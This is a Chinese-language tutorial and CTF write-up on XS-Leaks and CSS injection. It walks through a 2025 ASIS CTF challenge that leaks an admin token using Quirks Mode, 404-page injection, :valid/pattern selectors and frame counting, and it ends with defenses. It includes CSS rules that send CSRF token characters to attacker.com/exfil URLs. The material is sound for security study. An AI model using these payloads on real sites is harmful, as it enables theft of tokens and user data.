XS-Leaks与CSS注入攻击原理及实战
字数 2468 2025-09-23 19:27:38
XS-Leaks与CSS注入攻击原理及实战
1 XS-Leaks概述
1.1 基本概念
XS-Leaks(Cross-Site Leaks)是一种利用Web平台特性进行信息泄露的攻击技术。它本质上属于侧信道攻击,通过观察不同网站间交互过程中产生的副作用来推断敏感信息。
1.2 工作原理
浏览器提供了多种跨站点交互机制(如资源加载、导航、消息传递),虽然受到同源策略限制,但XS-Leaks利用这些交互过程中暴露的微小信息差异:
- 网站不能直接访问其他源的数据
- 但可以加载其他源的资源并观察加载结果
- 通过分析资源加载的成功/失败状态推断信息
1.3 典型攻击示例
假设存在以下场景:
- 目标站点:bank.com,提供API端点
bank.com/my_receipt?q=<transaction_type> - 攻击站点:evil.com
攻击流程:
- evil.com尝试将
bank.com/my_receipt?q=groceries作为脚本加载 - 浏览器自动附加用户cookie(携带身份凭证)
- 如果用户最近购买过杂货,返回HTTP 200,脚本加载成功
- 如果用户未购买,返回HTTP 404,触发错误事件
- 通过监听错误事件并测试不同查询参数,攻击者可推断用户交易历史
1.4 常见攻击向量
目前主流的XS-Leaks攻击技术包括:
- 浏览器API滥用(帧计数、计时攻击)
- 浏览器实现细节和漏洞利用(连接池、typeMustMatch)
- 硬件层面攻击(推测执行)
2 CSS注入攻击
2.1 基本概念
CSS注入是一种在JavaScript被禁用时的替代攻击手法,通过向目标页面注入恶意CSS代码来影响页面渲染并窃取信息。
2.2 攻击原理
利用CSS属性选择器匹配特定元素的属性值,通过外部资源加载行为泄露信息:
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* 省略其他字符 */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
2.3 攻击流程
- 构造CSS选择器匹配目标元素的属性值模式
- 当属性值匹配时触发外部资源加载
- 通过监听服务器端的请求记录推断属性值
- 特别针对隐藏input元素时需要特殊处理(默认不加载背景)
2.4 实施条件
成功的CSS注入攻击需要满足以下条件:
- Payload长度:注入点必须支持足够长的CSS payload
- CSS重新评估:能够对页面进行框架化以触发CSS重新评估
- 外部资源:能够加载外部托管资源(受CSP限制)
3 实战案例:[Asisctf-Quals2025]pure-leak
3.1 环境分析
- 技术栈:PHP + JavaScript
- 漏洞点:用户输入直接插入HTML(存在注入漏洞)
<?php echo validate($_GET["content"] ?? "{{ your_input }}")."\n"; ?>
- 安全限制:设置了CSP策略,禁用
[和]字符
3.2 攻击思路
- 通过CSS注入窃取管理员token
- 绕过CSP限制和字符过滤
- 利用XS-Leaks技术进行信息推断
3.3 关键技术点
3.3.1 利用PHP Warning进入Quirks Mode
问题:标准模式下要求CSS的Content-Type为text/css,但PHP默认返回text/html
解决方案:触发PHP Warning使文档进入怪异模式(Quirks Mode)
- 三种触发PHP Warning的方式:
- 调用未定义函数
- 使用未定义常量
- 函数参数超过最大值
效果:怪异模式放宽MIME检查,允许同源的非text/css资源被当作CSS加载
3.3.2 绕过注释限制
问题:页面中存在/*注释,且过滤了*字符,无法使用*/提前闭合
解决方案:利用404错误页面进行CSS注入
- 在404页面定义payload
- 使用
{}清理前缀垃圾内容,确保CSS规则正常解析
3.3.3 替代属性选择器
问题:[和]字符被过滤,无法使用常规属性选择器
解决方案:使用:valid伪类和pattern属性实现相同效果
<input pattern="正则表达式" value="用户输入">
- 利用CSS伪类选择器:
input:valid {
/* 匹配成功的样式 */
}
input:invalid {
/* 匹配失败的样式 */
}
3.3.4 Frame Counting技术
问题:Bot无法直接感知颜色变化
解决方案:使用Frame Counting技术进行检测
- 原理:嵌入
<embed>或<object>会使window.length加1 - 隐藏嵌入元素不会增加计数
- 通过CSS控制元素显示/隐藏来操纵
window.length值:- 匹配成功:隐藏元素 →
window.length = 0 - 匹配失败:显示元素 →
window.length = 1
- 匹配成功:隐藏元素 →
3.4 完整攻击流程
- 触发PHP Warning使文档进入Quirks Mode
- 通过404页面加载CSS注入payload
- 使用
pattern和:valid替代属性选择器 - 利用Frame Counting技术检测匹配结果
- 通过布尔判断逐步推断token值
4 防御措施
4.1 对抗XS-Leaks
- 使用Cross-Origin Resource Policy(CORP)限制资源加载
- 实施Cross-Origin Opener Policy(COOP)
- 启用Cross-Origin Embedder Policy(COEP)
- 对敏感请求使用CSRF令牌验证
4.2 对抗CSS注入
- 严格验证和过滤用户输入
- 实施严格的Content Security Policy(CSP)
- 避免将用户输入直接插入HTML文档
- 对敏感数据使用HTTPOnly和Secure标志
5 参考资料
- XS-Leaks Wiki: https://xsleaks.dev/
- HackTricks CSS注入: https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection
- 实战案例分析: https://blog.arkark.dev/2025/09/08/asisctf-quals
本文详细介绍了XS-Leaks和CSS注入攻击的原理、技术实现和实战应用,涵盖了从基本概念到高级绕过技术的完整知识体系,为安全研究和防护措施提供了全面参考。